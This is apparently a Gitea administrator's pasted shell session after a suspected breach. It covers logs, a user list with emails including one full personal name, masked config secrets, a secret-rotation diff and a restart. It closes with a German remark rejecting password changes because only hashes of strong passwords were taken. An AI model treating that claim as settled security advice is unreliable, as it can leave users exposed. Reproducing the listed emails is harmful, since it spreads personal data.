dqyywxkedt
|
|
oehhhkluuj
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
2026/09/24 15:09:09 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners
|
|
2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments
|
|
2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars
|
|
2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars
|
|
2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs
|
|
2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive
|
|
2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages
|
|
2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log
|
|
2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts
|
|
2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners
|
|
2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments
|
|
2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars
|
|
2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars
|
|
2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs
|
|
2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive
|
|
2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages
|
|
2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log
|
|
2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts
|
|
2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners
|
|
2026/09/24 15:09:10 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments
|
|
2026/09/24 15:09:10 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars
|
|
2026/09/24 15:09:10 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars
|
|
2026/09/24 15:09:10 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs
|
|
2026/09/24 15:09:10 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive
|
|
2026/09/24 15:09:10 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages
|
|
2026/09/24 15:09:10 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log
|
|
2026/09/24 15:09:10 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local
|
|
2026/09/24 15:09:10 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts
|
|
2026/09/24 15:09:10 services/actions/cleanup.go:170:CleanupEphemeralRunnersByPickedTaskOfRepo() [I] Removed 0 runners
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # docker exec -u git gitea gitea admin user list
|
|
ID Username Email IsActive IsAdmin 2FA
|
|
1 admin nix@no.de true true false
|
|
2 tlg tlg@nix.de true false false
|
|
3 llm llm@nix.de true false false
|
|
4 wbg wbg@nix.de true false false
|
|
5 n8n n8n@nix.de true false false
|
|
6 krtr krtr@nix.de true false false
|
|
7 try try@nix.de true false false
|
|
8 trf trf@nix.de true false false
|
|
9 ncd ncd@nix.de true false false
|
|
10 rdms Thomas.Langer@destengs.com true false false
|
|
11 pln No@nix.de true false false
|
|
12 mkt mkt@nix.no true false false
|
|
13 lwc lwc@nix.de true false false
|
|
14 wlfb wlfb@nix.no true false false
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # grep -nE '^\[|SECRET|TOKEN|PASSWD|PASSWORD|DB_TYPE' /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ]*).*/\1<hidden>/'
|
|
6:[repository]
|
|
9:[repository.local]
|
|
12:[repository.upload]
|
|
15:[server]
|
|
25:LFS_JWT_SECRET = <hidden>
|
|
28:[database]
|
|
30:DB_TYPE = <hidden>
|
|
34:PASSWD = <hidden>
|
|
39:[indexer]
|
|
42:[session]
|
|
46:[picture]
|
|
50:[attachment]
|
|
53:[log]
|
|
58:[security]
|
|
60:SECRET_KEY = <hidden>
|
|
63:INTERNAL_TOKEN = <hidden>
|
|
64:PASSWORD_HASH_ALGO = <hidden>
|
|
66:[service]
|
|
78:[lfs]
|
|
81:[mailer]
|
|
84:[openid]
|
|
88:[cron.update_checker]
|
|
91:[repository.pull-request]
|
|
94:[repository.signing]
|
|
97:[oauth2]
|
|
98:JWT_SECRET = <hidden>
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # sed -n '28,38p' /opt/appdata/gitea/gitea/conf/app.ini | grep -v PASSWD
|
|
[database]
|
|
PATH = /data/gitea/gitea.db
|
|
DB_TYPE = sqlite3
|
|
HOST = localhost:3306
|
|
NAME = gitea
|
|
USER = root
|
|
LOG_SQL = false
|
|
SCHEMA =
|
|
SSL_MODE = disable
|
|
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # diff /root/backup/app.ini.before-rotation /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ]*).*/\1<hidden>/'
|
|
25c25
|
|
< LFS_JWT_SECRET = <hidden>
|
|
---
|
|
> LFS_JWT_SECRET = <hidden>
|
|
60c60
|
|
< SECRET_KEY = <hidden>
|
|
---
|
|
> SECRET_KEY = <hidden>
|
|
63c63
|
|
< INTERNAL_TOKEN = <hidden>
|
|
---
|
|
> INTERNAL_TOKEN = <hidden>
|
|
98c98
|
|
< JWT_SECRET = <hidden>
|
|
---
|
|
> JWT_SECRET = <hidden>
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # cd ~/docker/git && docker compose restart
|
|
WARN[0000] /root/docker/git/docker-compose.yml: `version` is obsolete
|
|
[+] Restarting 1/1
|
|
✔ Container gitea Started 1.0s
|
|
root@sv003 ~/docker/git #
|
|
root@sv003 ~/docker/git # docker compose logs --tail 30 gitea
|
|
WARN[0000] /root/docker/git/docker-compose.yml: `version` is obsolete
|
|
gitea | 2026/09/24 15:24:27 routers/init.go:117:InitWebInstalled() [I] Git version: 2.54.0 (home: /data/gitea/home)
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:227:initAttachments() [I] Initialising Attachment storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/attachments
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:217:initAvatars() [I] Initialising Avatar storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/avatars
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:243:initRepoAvatars() [I] Initialising Repository Avatar storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-avatars
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:237:initLFS() [I] Initialising LFS storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/git/lfs
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:249:initRepoArchives() [I] Initialising Repository Archive storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/repo-archive
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:259:initPackages() [I] Initialising Packages storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/packages
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:270:initActions() [I] Initialising Actions storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_log
|
|
gitea | 2026/09/24 15:24:27 modules/storage/storage.go:274:initActions() [I] Initialising ActionsArtifacts storage with type: local
|
|
gitea | 2026/09/24 15:24:27 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /data/gitea/actions_artifacts
|
|
gitea | 2026/09/24 15:24:27 routers/common/db.go:22:InitDBEngine() [I] Beginning ORM engine initialization.
|
|
gitea | 2026/09/24 15:24:27 routers/common/db.go:29:InitDBEngine() [I] ORM engine initialization attempt #1/10...
|
|
gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [I] PING DATABASE sqlite3
|
|
gitea | 2026/09/24 15:24:27 cmd/web.go:205:serveInstalled() [W] Table system_setting Column version db default is , struct default is 1
|
|
gitea | 2026/09/24 15:24:27 routers/init.go:138:InitWebInstalled() [I] ORM engine initialization successful!
|
|
gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:41:populateRepoIndexer() [I] Populating the repo stats indexer with existing repositories
|
|
gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:78:InitIssueIndexer.1() [I] PID 16: Initializing Issue Indexer: bleve
|
|
gitea | 2026/09/24 15:24:27 .../indexer/stats/indexer.go:87:populateRepoIndexer() [I] Done (re)populating the repo stats indexer with existing repositories
|
|
gitea | 2026/09/24 15:24:27 .../indexer/issues/indexer.go:155:InitIssueIndexer.2() [I] Issue Indexer Initialization took 713.587µs
|
|
gitea | 2026/09/24 15:24:27 cmd/web.go:329:listen() [I] Listen: http://0.0.0.0:3000
|
|
gitea | 2026/09/24 15:24:27 cmd/web.go:333:listen() [I] AppURL(ROOT_URL): https://git.destengs.com/
|
|
gitea | 2026/09/24 15:24:27 cmd/web.go:336:listen() [I] LFS server enabled
|
|
gitea | 2026/09/24 15:24:27 modules/graceful/server.go:52:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 16
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
Du schriebst "Ein starkes, einmaliges Passwort ist dagegen sicher, ein schwaches oder wiederverwendetes nicht. Deshalb ändern wir sie."
|
|
|
|
Falsch, wir ändern sie nicht. Alle Nutzer haben starke Passwörter verwendet. Wenn nur die Passwort-Hashes gespeichert waren und erbeutet wurden, brauchen die Passworte nicht geändert werden.
|
|
|
|
---
|